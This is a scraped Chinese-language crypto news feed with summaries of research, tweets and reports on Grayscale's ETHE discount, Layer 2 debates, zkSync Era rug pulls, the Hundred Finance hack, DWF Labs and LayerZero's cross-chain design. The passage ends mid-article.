    Chainfeeds 导读： Grayscale 信托旗下的 GBTC 和 ETHE 产品中，投资者仍可获得近五折的折价买入机会。LD Capital 撰文深入解析 五折购买 ETHE 的机会和风险，认为假若押注潜在的牛市，则 ETHE 具有更好的弹性，牛市不能快速到来的话其表现有弱于大盘的风险。 文章来源： https://ld-capital.medium.com/trend-research-by-ld-capital-%E4%BA%94%E6%8A%98%E4%B9%B0eth%E6%9C%BA%E4%BC%9A%E8%BF%98%E6%98%AF%E9%99%B7%E9%98%B1-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90-grayscale-%E4%BF%A1%E6%89%98-a1309b03d840 文章作者： LD Capital 观点： LD Capital：2023 年加密市场从去年的深熊里大幅反弹，很多人可能还未来的及「上车」，此时对比资产净值（NAV）仍有 5 折左右折价的 Grayscale 信托份额显得格外有吸引力；基于以太坊 Web3 核心基础设施的地位，我们看好 Grayscale 信托产品矩阵中 Ethereum Trust (ETHE) 在未来潜在牛市中的反弹表现。 内容来源 LD Capital：ETHE 历史上曾长期溢价或折价，目前长期折价的原因主要与该产品无法直接赎回、类似封闭基金的产品结构有关，此外，套利机会的限制、大型投机者的被迫平仓、机会成本的折现、竞争性产品的冲击也是原因。 内容来源 LD Capital：2021 年中负溢价趋势形成以后市场对 ETHE 恢复平价的时间预期越来越长，待乐观预期来临之际这一隐含恢复时间可能回落至 2 年以下较为合理。有七种情况可以导致折价收窄甚至消失：包括开放赎回 ETH 现货（分为赎回获得 SEC 豁免以及 ETF 转换申请通过两种情况）、获得赎回豁免、产品解散清算、Grayscale 自行回购、套利策略的发展和市场信心的提升、机会成本的下降有助于折价修复。 内容来源 LD Capital：自 2019 年 ETHE 诞生以来，该产品还尚未经历完整的「周期」。目前 ETHE 产品只走完了一半的周期，我们认为假若押注潜在的牛市，则 ETHE 具有更好的弹性，年初以来 ETHE 涨幅是 ETH 的 1.7 倍证明了这一点；但历史数据测算显示 ETHE 的风险回报比不佳，数据显示 ETHE 几乎在所有方面相较于 ETH/USD 表现较弱。意味着如果准备长期持有 ETHE 可能要做一些针对性的收益增强策略，否则如果牛市不能快速到来的话其表现有弱于大盘的风险。 内容来源  ( 7 min )
    【英文长推】观点：L2 扩展解决方案已成为该行业最大的腐败力量
    Chainfeeds 导读： Cyber Capital 创始人 Justin Bons 撰推发表其观点，认为 L2 扩展解决方案已成为该行业最大的腐败力量，其创造数十亿美元的价值完全取决于不扩展 L1。以太坊和比特币缺乏对 L1 开发的激励，扭曲了他们最初的愿景。 文章来源： https://twitter.com/justin_bons/status/1646899332644327424 文章作者： Justin Bons 观点： Justin Bons：如果有足够的时间，任何具有这种变态激励措施的系统都会趋向于腐败。加密货币在这个规模上没有什么不同；因为它仍然可以被中心控制。历史正在重演，对人类来说是一场真正的悲剧，因为这意味着 ETH 和 BTC 不会扩展。【原文为英文】 内容来源 Justin Bons：我仍然希望 ETH 能够回到其最初的执行分片路线图，或者改为追求 Enshrined Rollup。然而，这将导致价值数十亿美元的 L2 代币和 VC 投资被抹去。ETH 的领导层是否会这样做还有待观察。【英文为英文】 内容来源 Justin Bons：问题很明显，以 ETH L1 为重点的资金每年不超过几百万，而且快用完了。而 L2 资金动辄上百亿美元，有长远规划。需要的是 ETH L1 偏向资金而不是寻租 L2 偏向资金。 这可以通过获取部分区块奖励并将其投入国库来实现，连同链上治理系统，利益相关者投票支持为开发分配资金的提案。【英文为英文】 内容来源  ( 2 min )
    新链泡沫：zkSync Era∎乱象丛生
    Chainfeeds 导读： 备受期待的 zkSync Era 链上短期内密集发生项目跑路事件，律动专栏作者 Jaleel 撰文对这些事件进行盘点，并回顾了 BSC、Aptos 和 Arbitrum 上线初期同样的境况。认为 zkSync Era 在内的新公链需要更多思考，如何不让自己的生态淹没在诈骗和跑路的项目中。 文章来源： https://m.theblockbeats.info/news/36515 文章作者： Jaleel 观点： Jaleel：1）SyncSwap 中文区曾表示空投与交易激励是不作区分的，而后发文道歉且表示该社交媒体账号已被 SyncSwap 账号弃用。2）Gemholic 募资的 921 ETH ID0 资金因 zkSync Era 不兼容转账功能而卡在智能合约中。 内容来源 Jaleel：生态现状乱象丛生，短期 TVL、钱包数量、跨桥资金等数据暴涨并不是因为 zkSync Era 做得有多好、其生态项目做得多好，只是 ARB 带来了撸毛情绪还未消散。zkSync Era 目前的情况是，生态上应用很多，能算得上主流、优质的却很少，仅靠背后超 4 亿美元的融资并不能支撑其未来发展，还是要有一些优质的应用支撑。 内容来源
    播客：StakeWise 将如何推动流动性质押民主化
    Chainfeeds 导读： 以太坊社区 ECN 邀请流动性质押协议 StakeWise 的联合创始人 Kirill，在其播客中谈论上海升级以及用户选择 LSD 时的心智模型，Kirill 预期上海升级后 Staking 格局的变化，以及 StakeWise V3 将如何为个人质押和流动性质押民主化带来巨大创新。ECN 将该播客整理成文字稿。 文章来源： https://www.ethereum.cn/Staking/podcast-with-stakewise 文章作者： ECN 观点： ECN：目前，以太坊 60% 的押金仅由 30~40 个实体控制，对于一个旨在带来去中心化和无需许可的网络来说，这是远远不够的。因此，我们强烈感受到为流动性质押走向民主化提供可能性是很重要的。我们的目标和使命就是确保任何人都可以使用流动性质押，无论他们如何运行他们的基础设施，从而避免使用相同的旧服务商。 内容来源 ECN：StakeWise V3 有哪些创新？1）为你的个人验证者铸造流动性质押代币。用户既可以支持网络的去中心化，又可以参与流动性质押和 DeFi。2）小型的提供商终于可以构建自己的以太坊质押服务。3）与现有的其他 LST 相比，osETH 更优，因为超额抵押的部分使得它更安全。对于 DeFi 协议集成 LST 来说，这一点很重要，因为它们不希望 LST 在基础设施层面有罚没的系统风险。 内容来源  ( 6 min )
    【英文长推】 Uniswap v3 许可证已过期，现可分叉集中流动性 AMM，一文解读其意义
    Chainfeeds 导读： 由于 Uniswap v3 许可证已经过期，现在可以分叉集中流动性 AMM（CLAMM）加密研究员 0xJeff 撰推探讨这意味着什么，该事件的重要性、分叉使用 v3 面临的挑战及解决方案，并介绍几个流动性管理协议。 文章来源： https://twitter.com/LandfSmile/status/1646909188646502401 文章作者： 0xJeff 观点： 0xJeff：Uniswap v3 引入集中流动性，允许独立 LP 可以自由控制其资金分配。以前在 v2 中未使用的流动性在 v3 LP 中被集中和利用，可以将其流动性集中在所需的价格范围内，但随着所有流动性的使用，费用急剧增加。由于 Uniswap v3 是 v2 资本效率的巨大改进，并且 Uniswap v3 许可证已经过期 v3 现在可以被每个 DEX 分叉和使用。【原文为英文】 内容来源 0xJeff：在每个 DEX 中实施 Uniswap v3 的挑战：由于流动性集中在特定价格范围内，如果价格超出范围，无常损失会加剧。为了应对这一挑战，用户必须密切监控 LP 的价格，去除流动性，并设置新的价格范围。这既耗时又耗费 gas，而且我们在设置新价格时可能会是错误的范围。解决方案：使用「流动性管理」协议，协议使用代表 LP 主动调整流动性参数、自动管理价格范围、再平衡和再投资费用的策略。【原文为英文】 内容来源 0xJeff：流动性管理协议：1）Arrakis Finance，Arrakis 有多个针对不同人群的产品，例如 Arrakis V1 - 散户的基本 LP 策略、Arrakis V2 - 专业 LP 的高级策略等。2）Gamma，近期与 Thena 及 Algebra Protocol 通过 CLAMM 合作创建解决方案 FUSION - ve (3,3)。【原文为英文】 内容来源  ( 2 min )
    肖风闭幕演讲：Web3 的三代币模式
    Chainfeeds 导读： 万向区块链董事长及 HashKey Group 董事长肖风在 Web3 香港嘉年华发表闭幕主旨演讲《Web3 应用的三代币模式》，表示 Web3 应用层三代币模型有 NFT、功能型 Token 和证券型 Token。Odaily 对该演讲进行记录摘要。 文章来源： https://www.odaily.news/post/5186451 文章作者： 肖风（万向集团） 观点： 肖风（万向集团）：Web3 应用层面的代币模型和基础协议的代币模型有着很大区别，基础协议是单一代币模型，因为基础协议应该是全球统一的。当区块链走向应用时，单一代币模型便不再适用。我提出「三代币模型」，可以很好地解决技术问题、性能问题、激励问题以及合规问题。三代币模型中，包括 NFT（代表商品价值，即数据、产品与服务价值），第二个是功能型 Token（使用权 / 网络价值），第三个是证券型 Token（Web3 参与方的股权、所有权价值）。 内容来源 肖风（万向集团）：NFT 是数字化的证明，不仅仅是艺术品的所有权、头像，更是自我创造、自我管理、自我证明的。NFT 的价值来源是 Play NFT to Earn 和 Play NFT to Owns。NFT 是「连接器」，连接了 Web2 和 Web3，现实世界和虚拟世界、粉丝和产品、消费者和社区、消费行为和情感体验。 内容来源 肖风（万向集团）：功能型 Token 的最大挑战是如果在设计上法律上不够清晰的话，可能会涉及到证券的发行。功能型 Token 设计的基本原则包括，类似生态积分，免费赠送，用来激励用户和启动市场，不能有发行、销售、认购等融资行为，价格发现靠二级市场，与发行方无关，无法操纵影响它。价值来源使用网络的使用许可，用 token 支付 Gas 费或交易佣金，公司用部分利润回购、销毁等。功能型 Token 也拥有社区治理部分的权利，但最主要、最核心的价值在于体现了网络效应的价值单位。 内容来源 肖风（万向集团）：证券型 Token 就是股权的代币化。它性质上和股票是一样，当一个 Web3 的创业项目主网启动或者主网上线的时候，就开始发行 Utility Token，通过 Utility Token 去启动市场、奖励用户、获得增长，这是一开始就可以做的。但是公司必须经过一段时间证明商业上的成熟，证明资产负债表稳定，才有可能去 IPO。 内容来源  ( 6 min )
    zkSync Era∎总锁仓量突破 2.4 亿美元，7 日涨幅达 42.67%
    zkSync Era∎总锁仓量突破 2.4 亿美元，7 日涨幅达 42.67% 据 L2BEAT 数据显示，zkSync Era∎总锁仓量（TVL）已突破 2.4 亿美元，7 日涨幅达 42.67%。 内容来源  ( 3 min )
    跨链借贷协议 Hundred Finance 遭攻击，损失约 700 万美元
    跨链借贷协议 Hundred Finance 遭攻击，损失约 700 万美元 据派盾消息称，跨链借贷协议 Hundred Finance 在 Optimism 上遭到黑客攻击，目前估计的损失约为 700 万美元。根本原因似乎是攻击者捐赠了 200 WBTC 来抬高 hWBTC 的汇率，以至于即使是极少量（2 wei）的 hWBTC 也基本可以耗尽当前的借贷池。Hundred Finance 表示希望能与黑客取得联系，通过协商来解决这个问题。 内容来源  ( 2 min )

  • Open

    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.15）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    数据：以太坊市占率升至19.03%，BNB为3.91%
    PANews 4月15日消息，据Coingecko数据显示，当前比特币市占率升至44.36%，周涨幅0.11%；以太坊市占率升至19.03%，周涨幅0.78%；USDT、USDC、BUSD稳定币市值占比分别为6.09%、2.4%、0.5%，BNB市占率为3.91%。  ( 1 min )
    The Block发文爆料DWF Labs，名为投资实为场外交易
    作者：Ryan Weeks,Yogita Khatri & Frank Chaparro | The Block 编译：Felix | PANews DWF Labs在加密行业最活跃投资者的榜单上一路飙升，引起了人们的关注和不满。 在这个充斥着丑闻、破产和美国监管机构打压的行业动荡的六个月里，DWF Labs从默默无闻走到了聚光灯下。Block Pro的交易数据显示，该公司在25轮融资中投资了2.32亿美元，其中18轮是DWF作为唯一投资者，而该公司自己表示，已经向100多个项目投入了至少1亿美元。 引发人们对其投资猜测的，不仅有DWF的支出，还有许多风险投资交易似乎都是不透明、不标准的，并将DWF与去年倒闭的Alameda Research相比。Alameda Research是由FTX前首席执行官SBF创立的对冲基金和做市商。在辩护中，DWF对针对它提出的所有问题做出了回应。 Castle Island Ventures创始合伙人Matt Walsh表示：“我以前看过这样的剧本，结局是散户受损，SEC采取执法行动。”“这个行业不需要 Alameda 2.0。” DWF Labs由管理合伙人Andrei Grachev于 2018 年创立——他是Huobi Russia和多家加密交易公司的CEO。DWF Labs在网上自称是领先的“数字资产做市商和Web3投资公司”，在新加坡、瑞士、阿拉伯联合酋长国和英属维尔京群岛都有业务。它是 Digital Wave Finance的附属公司，Digital Wave Finance是一家在线资料很少的实体公司，DWF Labs的网站将其描述为“世界上最大的高频加密货币交易实体之一，在40多个顶级交易所进行现货和衍生品市场交易。” 对DWF的担忧最核心的是，初创公司代币的交易协议有时被报道为风险资本投资，以及DWF习惯于将这些代币转移到交易所，以便出售。 从交易结构开始，许多行业人士向The Block提出了担忧，认为DWF对加密初创公司的数百万美元投资更适合称为场外交易。这些场外交易允许初创公司将其代币转换为稳定币，而不是DWF预先注入现金，然后DWF将代币转移到交易所。 “你看到的所有这些‘投资’都不是实际投资，”一位直接了解DWF业务的人士表示。“它们是场外交易。都是代币购买。是在一段时间内进行的场外交易。” 例如2月下旬，加密隐私初创公司Beldex宣布与DWF达成2500万美元的交易。在一篇博文中，Beldex表示DWF Labs将“承诺投入2500万美元用于Beldex网络和生态系统的研发”。然而，在对这笔交易的一些报道中，“承诺”一词被遗漏了，而是将其描述为直接的融资活动。Beldex的一位发言人表示，这笔钱实际上已经认投两年了。 这位发言人本周表示，DWF仍作为其“营销和合作顾问”的身份参与该项目，同时还帮助介绍其他业内人士，包括开发商和研究人员。DWF称，这种安排“对Beldex极为有利”。 就在本周，CryptoGPT宣布从DWF Labs获得了1000万美元的A轮融资，代币估值达到了2.5亿美元。然而，CryptoGPT联合创始人兼首席技术官Dejan Erja表示，到目前为止，总投资金额只有42万美元。Erja称，DWF上周开始投资，剩余金额将在285天内到位。作为交易的一部分，DWF Labs还将为CryptoGPT的GPT代币做市。 Fisher8 Capital和eGirl Capital的创始人Bainy Zhang（在Twitter上化名Hedgedhog）说：“DWF Labs投资的项目类型和金额对我来说真的没有意义。”两者似乎都不明智。据推测，DWF投资于项目的金额占这些项目代币供应量的很大一部分。例如，假设DWF按市场价格支付，Beldex的2500万美元是其完全稀释估值的5%。 一旦公开，此类交易可能会对项目代币的价格产生巨大影响。根据CoinGecko数据显示，在宣布与Beldex达成交易协议后的几天内，其BDX代币的价格上涨了约50%，从0.04美元涨至0.06美元。现在约为0.057美元。 一个名为Tomi的项目旨在建立一个能替代互联网的平台，该项目表示已于3月22日从DWF Labs筹集了4000万美元。短期内，其代币价格从1.3美元飙升至4.3美元，然后跌至目前的2.58美元左右。在The Block报道DWF Labs承诺购买由加密基础设施项目Orbs发行的价值1000万美元的代币后，价格也出现了上涨。 在一次采访中，当被问及DWF Labs投资是前期的风险资本支票还是场外代币交易时，Grachev毫无认错意思。 “我们根据我们的风险管理来配置资金。坦白地说，我不认为这有什么不对。”“我不在乎其他做市商/投资者在做什么。因为我们的主要目标不是模仿其他市场参与者的做法。我们的目标是让合作伙伴开心。” 继续讨论DWF将其代币投资转移到中心化加密交易所的问题，不难发现人们引用链上数据来强调这种做法，并想知道这是否意味着DWF正在出售代币。 当被问及这些变动时，​​Grachev否认了该公司为了获取利润而出售的说法。相反，他说DWF发现将代币留在交易所比使用链上钱包更安全。 Grachev在接受采访时说：“我们将代币转移到交易所，但我们从不抛售”。“如果我们将代币发送到交易所，但并不意味着我们会立即或在不久的时间内出售这些代币。我们一直将代币转移到交易所，因为对我们来说，将代币存储在交易所是一种更便捷的库存管理方式。” 本周另一个Twitter帖子中，他补充说：“加密做市商必须为紧急情况和极端波动做好准备，并拥有可用的代币和稳定币库存，目的是满足全天候的流动性。” DWF的大手笔支出也让业内一些人怀疑其资金从何而来。Grachev表示，DWF Labs没有外部投资者，自公司于2018年12月成立以来，其资金一直来自交易活动。还有一些是基于加密货币的贷款。 除了经营DWF Labs，Grachev在LinkedIn上的个人资料显示，他在过去五年中还担任过其他几个职位——都涉及交易和加密货币。 从2018年到去年6月，他担任一家名为VRM.Trade的高频交易公司的首席执行官。2018年5月至次年7月，他在莫斯科一家名为Racib的公司担任交易副总裁。据LinkedIn显示，在此之前，他还经营着另一家名为Crypsis Blockchain Holding的加密货币公司，该公司也在莫斯科工作。 从2018年9月开始，Grachev还曾担任中国加密货币交易所的分支机构：火币俄罗斯（Huobi Russia）的首席执行官，为期一年。火币俄罗斯于2020年关闭。火币发言人表示：“由于火币集团内部的战略调整，双方达成协议终止了这一伙伴关系。” 尽管Grachev在接受The Block采访时和在社交媒体上热衷于反驳有关其不当行为的言论，但加密行业的许多人仍心存担忧。 天使投资人兼前首席营销官Matthew Howells-Barby说：“在大多数风投机构都在收紧钱包的时候，DWF每周都在场外代币交易上投资数千万美元。”“感觉有些不对劲。” 免责声明：DWF Labs竞争对手Wintermute的创始人兼首席执行官Evgeny Gaevoy是 The Block的董事会成员，也是股东。  ( 3 min )
    跨链赛道研报：LayerZero全链互操作协议凭什么估值30亿美金？
    前言 短短1年的时间，全链互操作性协议LayerZero他再次以 30 亿美元的估值筹集了 1.2 亿美元，是上次估值的三倍，投资者包括a16z,ChristiesInc和红杉资本等。 全文研报一万字，将全面梳理跨链赛道的主流模式、layerZero的技术原理、详解跨链生命周期、综合分析其协议优缺。 本文系上篇，重在讲述LayerZero的技术方案以及评价其优缺点。 LayerZero 是一个提供无需信任的跨链通讯协议。它的本质是利用了轻节点的技术原理，设计了超轻节点的机制，通过中继者和预言机将中间的置信环节一分为二，从而以更低的费用换取更好的安全性 注意， LayerZero主打的不是资产跨链，而是更上层的消息跨链，作为底层协议与资产跨链的应用层是个包含关系，更具体的资产跨链是同样由Layerzero Labs开发的Stargate。 跨链之间的通讯环节主要是通过外部验证或链上轻节点来完成。首先轻节点是一种节点运作模式，同样的还有全节点（Full Node）归档节点（Archive Node）。同一个链的不同节点则是该链信息的删减版，轻节点只保存历史所有区块头，并不存储区块内的具体交易信息。 有了区块头的多个Merkle Root就可以借助默克尔树验证来确定一笔交易是否真实存在于这个区块。 【以太坊的EVM虚拟机架构图 来自官方GITHUB】 通过轻节点上链运行验证的收益是，完全剔除了公证人的外部角色干扰，依据链本身的安全性实现高度的去中心化从而更安全。 但这样一来跨链成本将会高的无以复加，最终都将分散到跨链需求的用户上。笔者曾经在NFT存储元数据估算按KB为单位的成本。 超轻节点 Ultra-Light Node (ULN) 其实很简单，对比轻节点而言，超轻节点会执行与链上轻节点相同的验证，但不是按顺序保留所有块头，它们由分散的预言机按需流式传输。 其收益便是，不依赖轻节点从头开始的区块头数据流。 其代价则是，缺乏历史顺序数据流，那一旦预言机和中继者同时作恶即可通过验证，让导致恶意的信息被执行。 一定程度安全性的损失对应极大程度成本的降低，孰是孰非就看大家基于自身场景如何权衡了，参考lens这样社交协议的设计，社交关注的信息的价值不会太大，那么在做好应用层隔离的情况下乐观的做元交易，乐观的先执行后追溯也十分可取。 在下图的LayerZero官方白皮书中，绿色的部分便是承担两条链之间信息传递的关键角色，分别是Oracle和Relayer。 【LayerZero官方白皮书 来自 官网】 简单来说，Oracle（预言机）的主要作用是让目标链上的合约知道什么时候验证和验证的答案是什么。而Relayer（中继器）则负责提供验证交易所需的证明过程以及跨链信息的具体内容。 笔者在上篇4337的研报中也有提及，目前4337合约还需要接入链下的预言机价格服务，才能真正实现多币种支付交易手续费的功能： 拓展阅读 以太坊账号抽象ERC4337的过审方案解读 总之，Oracle就是LayerZero跨链中的公证人角色，可能是出于这样的作恶动机评估，预言机的安全性几乎等同于链上Defi的价值，太多的借贷产品依赖预言机提供价格，如果他愿意作恶，那么有更高收益率的事情可以做。 预言机的作用是：将源头链上跨链请求所在的 Blockhash和 Block Receiptsroot 传递到目标链上。 Blockhash 区块哈希，告知目标链上的合约哪个区块里有用户的跨链请求。 Block Receiptsroot 是为了用来验证交易中继器传递的消息。 中继器的作用是：将跨链消息所在的 Receipt 和 Merkle Proof 所需的路径信息传递到目标链上的合约用以验证。 其中Receipt 收据是指交易回执信息，其中主要包含着交易执行结果、交易哈希和交易事件日志。 交易执行结果：源链上交易本身是否成功。 交易哈希：每一笔交易的全局唯一哈希。 交易事件日志：理解成跨链信息的具体内容。 这里的路径信息就是下图的红色箭头，比如将中继者依次将 L2 -> Hash 0-0 -> Hash 1 信息告诉链上节点后。比对预言机给出的TopHash，以及基于中继者给出的信息合约进行二次计算后一致则说明中继者是正确的。 2.3、LayerZero的跨链生命周期 在理解了中间区域跨链角色的工作后，咱们来从ChainA跨一笔交易到ChainB吧。下图中左右两个框均是与在各自链上端点合约（EndPoint）交互。 LayerZero官方白皮书 来自 官网 整体流程概述如下： 一个交易从用户应用程序（UA）启动一个交易（即在链上执行某些操作）开始。然后，通过预言机和中继器在LayerZero端点的协助下，将这个交易分解成多个部分（证明和区块头）。一旦预言机和中继器在目标链上发送各自的信息（签署交易上链），并且LayerZero Endpoint（合约）验证了信息的正确性，消息就会被转化并在目标链上执行。 展开详细步骤如下（对照上图看）： 步骤1：用户应用程序UA（如 Stargate桥） LayerZero 的通信器（Communicator）发送请求，包括交易标识符t、从 A 到 B 转移的数据（payload有效负载）、或指向 Chain B 上用户应用程序智能合约的标识符或者中继器(relayer_args)等交易信息。 步骤2：通信器将这些数据以 LayerZero 数据包（packet）的形式发送给验证器（Validator） 步骤3：验证器将交易标识符和链 B 上智能合约的标识符等发送给网络层（NetWork）。网络层的工作也被触发，有待传递的信息需要通过oracle将源链A的区块头发送到目标链B。 步骤4：验证器将此信息（packet）转发给中继器。中继器被通知后则取交易证明（第7步的Proof）链下存储，并将其发送到Chain B（第11步），chainB的端点亦可发起申请要求获取指定块哈希的结果(第10步)。 步骤5：网络层将Chain B上智能合约的标识符和交易块的块ID一起发送给预言机。当预言机被通知则获取Chain A上当前块的块头（第6步）并将其发送到Chain B（第8步）。 可以看到这时候其实6、7、8、10、11的部分都内嵌在中继器和预言机的环节执行了。 步骤9：网络层将获取到的区块哈希发送到验证器（触发超轻节点的验证）。 步骤12：验证器通过查看网络层存储的交易证明和块头来确保交易有效且已提交。如果块头和交易证明匹配，则将交易信息（Packet）发送到通信器。 步骤13：通信器将信息（Packet）转发送到Chain B上的用户应用程序中，执行任意功能。 整体跨链是在源链上执行首笔交易的时候收取的Gas手续费，到了目标链上则是对应3笔，构成是中继器+预言机+Layer Zero: Executor（某个EOA账号）。 如果只有一个relayer或者一个预言机那可能确实有危险（已经不是协议本身的管理范畴了），但是目前layerZero实现的是任何应用均可自定义自己的relayer乃至于选择不同的预言机来支持自己的系统。 哪怕部分relayer宕机或者处于某种目的不工作、错误工作，在逐步的市场竞争中，会形成多对多的选择格局，在各自的博弈间会雷同矿工机制一样形成去中心化的互相监督。 即使预言机 1和中继器 A恶意勾结，这也是一个孤立的风险，因为只有同时使用了预言机 1作为预言机和中继器 A作为信息的应用程序将受到影响。 并且LayerZero只是最底层的传递信息的机制，至于信息传递后，上层应用如何使用则是可以单独定义和做安全加固的。对于协议本身而言他并不存储资金，也不存储数据，这会降低他本身受到攻击的可能性。 因此，由于资金是分散，让黑客攻击成本变得更高回报更小。 目前，LayerZero已经经过30多个版本的正式审核，包括Quantstamp、Zokyo、Zellic和Trail of Bits等等。此外，他当前通过ImmuneFi主持1500万美元的漏洞赏金，这是整个行业最大的实时漏洞赏金计划！，迄今为止LayerZero 已向已进行披露的白帽子奖励近 100 万美元。 同前文的结论一致，极低的跨链安全性验证成本是一大亮点，同样损失的则是高度信赖预言机的安全性，在抛除安全性因素之外（毕竟可以在应用层加固），通用性以及对于开发者极低的协议接入成本是笔者看到的一大隐形优势。 更强的通用拓展性 在如今在协议层跨链的，还有Cosmos 生态的 IBC 协议以及波卡生态的 XCMP 跨链协议，之所以说他们在拓展性上有局限是指，对于以太坊验证其他公链的交易，则必须在以太坊上部署对应的轻节点。这样高昂的 Gas 成本导致众多 EVM 兼容链(ETH/BSC/Polygon/L2等等）很难对 IBC 协议进行支持，大大限制了 IBC 协议的通用性，因此目前其依然只能在相对小众的 Cosmos 生态链之间运行。 更低的开发者接入复杂度 从一开始底层协议的工作量就是放在极简的合约接入设计上，而消息跨链的需求场景上限极高，比如跨链借贷、收益聚合和交易只是开始。因为便捷好开发，所以协议目前已经在 30 多个链上Dapp（包括去中心化交易所 PancakeSwap、SushiSwap、TraderJoe 和 Uniswap等）传递了超过数百万条消息，并且其上的应用桥等已经锁定了超过 70 亿美元的总价值（发文近期TVL为4亿美金）。 解除多链碎片化的兼容性 前面提及的锁定铸造模式中，生成的包装代币，便是一种对多链资金的碎片化现象，而LayerZero 使用非封装资产方式、可以支持 EVM 和非 EVM、统一的流动性层，以及在资产跨链时能够将原链兑换、桥接、目标链兑换、质押等复杂的交易捆绑起来。 【跨链方案解读：https://research.web3caff.com/zh/archives/7592】 跨链是多链格局下的重要投资赛道之一，未来确定性高，商业模式清晰，在市场仍未成熟的阶段已有高额营收，作为通信协议内嵌到各类Dapp的基础代码内，协议本身也就成为乐高积木中最下盘之一。  ( 3 min )
    DeFi收益率协议Pendle Finance获Bixin Ventures投资
    PANews 4月15日消息，Bixin Ventures宣布近期已投资DeFi收益率协议Pendle Finance，交易通过OTC方式完成。Bixin Ventures认为，传统金融中的固定收益和利率衍生品市场都很庞大，Pendle Finance的TVL从2022年12月的约780万美元增长到今天的6050万美元，在短短五个月内增长了近775%，这仅仅是一个开始。  ( 1 min )
    肖风：Web3应用层三代币模型有NFT、功能型代币和证券型代币
    PANews 4月15日消息，在“2023香港Web3嘉年华”主会场《代币化的未来》中，万向区块链董事长兼总经理、HashKey Group董事长肖风发表闭幕主旨演讲《Web3 应用的三代币模式》时表示，Web3的应用必然是方方面面的需求，Web3应用层面的代币模型和基础协议的代币模型是不同的，基础协议是单代币模型，全球应该统一，应用协议是三代币模型，应用场景各有特色。三代币模型中，第一个是NFT（数据、产品与服务价值），第二个是功能型代币（使用权价值），第三个是证券型代币（所有权价值，也就是股权价值）。 NFT不仅仅是艺术品、头像，也是自我创造、自我管理、自我证明的。功能型代币设计的基本原则包括，类似生态积分，免费赠送，用来激励用户和启动市场，不能有发行、销售、认购等融资行为，价格发现靠二级市场，也不是公司资产负债表上的资产。证券型代币性质和股票一样，可以在虚拟资产交易所进行STO，STO后就相当于在公链这个全球网络上发售，与功能型代币在同一交易所，可以把用户与投资者结合在一起。 此前消息，绿色比特币联盟正式成立，HashKey等发布“比特币区块算力碳中和应用”  ( 1 min )
    四大天王外更值得关注的以太坊L2项目
    作者：Fishery Isla 编辑：Crush 自 ARB 通证上线后，Layer 2 生态总锁仓量创下历史新高。从 Layer 2 总质押量的增长趋势可以看出，以太坊技术升级是确定性十分高的 Web3 长线叙事。Layer 2 四大天王 Arbitrum、Optimism、Starknet 、 Zksync 以及后起之秀 Scroll 受到了市场绝大部分关注。 但是各路资本和工作室对这些明星项目布局都很早，普通用户分到的红利可能会相对少。如果想要继续押注以太坊技术升级的叙事，普通用户不妨可以将精力放在一些有技术有叙事、热度又相对较低的 L2 公链、基础设施项目上。 下面为大家发掘出来两个以 ETH L2、模块化、数据可用性为叙事主轴的项目。 Mantle Network 是由 BitDAO 开发的 Ethereum 上的模块化再质押 Rollup Layer 2 扩展解决方案，它提供了 EVM 兼容性。 目前 Mantle 已上线公共测试网，不过 Mantle 官推的简介中特意提到其治理通证是 BitDAO 已经发行治理通证 $BIT，再加上 Mantle 文档中提到其 DA 节点激励由 $BIT 支付，因此 Mantle 很大可能不会发行新通证，很难复现 Arb、Apt 等公链一波空投的造富盛况。 而要注意的是，不能从空投中获利，不代表没有好机会：因为上面提到的原因，大多数人并没有对 Mantle 及其生态提起重视，而恰恰是这种被人忽视的标的，往往认真钻研往往会有好的回报。况且，Mantle 是全市场少有的模块化 + 以太坊二层概念标的，不论如何，都值得去深入研究。 首先，Mantle Network 与 Arbitrum、Optimism 等二层网络类似，是一种 Optimism Rollup。它为 ETH 主网提供扩容，把多个交易被捆绑在一起并提交到以太坊上存储状态，以实现安全、快速交易和低交易费用的特性。 但 Mantle 与高度同质化的 Arbitrum、Optimism 不同之处在于，Mantle 从技术上与其他 L2 走出了差异化路线，下面将分别介绍 Mantle 在技术上与目前主流 L2 的区别： 一般的 Optimism Rollups 依赖以太坊进行数据可用性、最终结算，并作为欺诈证明的执行层，其中只有客户端执行是在链下完成，其他所有操作都会被发布并在以太坊上验证。 而 Mantle 的技术堆栈特点是模块化的，这意味着区块链的核心操作：执行、共识、结算、数据可用性都在专门的层上执行。模块化将操作拆分到专门的层，可以使网络效率更高，获得更好的整体性能和更低的费用。 另外，模块化区块链可以更容易接入新技术，比如共识机制可以用 zk-Rollups 或 zkEVMs 取代。 目前区块链技术还处于非常早期阶段，技术升级速度快，旧公链如果没有像 BTC、ETH 形成凝聚力强的社区，也没有及时更新自身技术跟上潮流，就注定会被市场淘汰、遗弃。而模块化区块链可以用较低的开发成本跟进最新技术，保证项目可以维持长期运行。 排序器在 L2 链上具有优先权或是说特权，并且是唯一能够向 L1 提交交易包的实体，意味着巨大的优势。Arbitrum 和 Optimism 的序列器目前就是以中心化形式运行，发生过多起定序器故障导致停链的事故。 而 Mantle 就非常有远见，计划把他们的序列控制器去中心化，消除对单个序列控制器的依赖，以避免单点故障或审查。 DA 是存储和查看提交到区块链的数据的能力。传统的 Optimism Rollups 运作模式是将交易发布并存储在 L1 上，这需要大量的区块空间（Proto Danksharding 后会有所缓解）。 一般的 Optimism Rollups 通常会留存有 7-14 天的挑战期，在此之后交易才能最终确定。而对于 ZKs 来说，其在 L1 上发布有效性证明，在数据被清除之前保持可验证状态 30 天，其交易具有即时确定性，但在运算时需要大量处理能力来创建证明。 Mantle 通过使用 Eigenlayer 可以解决目前 L2 长确定周期和算力（生成证明）的问题。 Mantle 利用重新抵押（Re-Staking），L1 验证器可以选择使用他们抵押的$ETH 作为担保提供数据可用性服务。 Mantle 首先会通过 Rollup 从以太坊获得其安全性，当使用基于 Eigenlayer 构建的数据可用性层时，Mantle 通过重新抵押 ETH 来重复使用以太坊级别的安全性，为 DA 继承以太坊的安全性。 简单来说，应用 DA 后，Mantle 不会将数据发布到 ETH 主网上，而是发布到由重新抵押的 ETH 保障的 EigenDA 上，可以理解成继承了一条继承了以太坊高度去中心化的一条新链 DA。这样做可以极大地提高吞吐量和可扩展性，并允许构建新类型的 dapps。 根据 Mantle 官网路线图信息，Mantle 于 1 月 10 